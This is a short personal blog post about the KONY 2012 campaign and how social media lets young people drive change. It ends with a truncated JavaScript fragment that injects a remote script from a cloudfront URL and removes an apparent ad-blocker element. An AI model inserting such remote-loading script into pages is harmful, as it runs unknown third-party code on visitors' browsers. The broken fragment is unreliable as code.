Because everyone is talking about it…KONY 2012

Due to the huge publicity this campaign has gotten recently from the release of a video by the Invisible Children, everyone’s been talking about it and because everyone is talking about it, it means that there are lots of good press and lots of bad press.

Am I for? or Against?

I admit, I loved the video and only used the video to base my opinion when I first shared the video via facebook and twitter.  I am one to judge a book by it’s cover.  Once the campaign got big, there were more sides to the story.  I don’t feel like reading up about all of them because for me, it’s not necessarily just about Kony.  It’s about what power social media has these days.

In a matter of a day, word spread everywhere about this video, KONY 2012.  Isn’t that just amazing?

Look at the power we have now compared to back then.  Look at all the information that is so readily available to us now.  Whether you are one to oppose or one to go with the flow, you are talking about it and therefore contributing to the campaign even if you didn’t want to to begin with.

Am I making any sense?

It’s not about the cause necessarily here, it’s about what we can do to encourage change.  I think that that is ultimately the main campaign here, to bring awareness to ourselves and how much our generation and the younger generations can achieve change.  We are the ones who have the power, not the dictators of the world, not the war criminals, not any singular person but us, the socially connected youth.

PS: Really random thought, the one thing I found odd about the video and this campaign is, why cover the night on 4/20??  Also, why are people talking about killing Kony??  I thought they are trying to get him to be arrested and tried by the International Criminal Court? // -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d3lvr7yuk4uaui.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=15220&zoneid=14731&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
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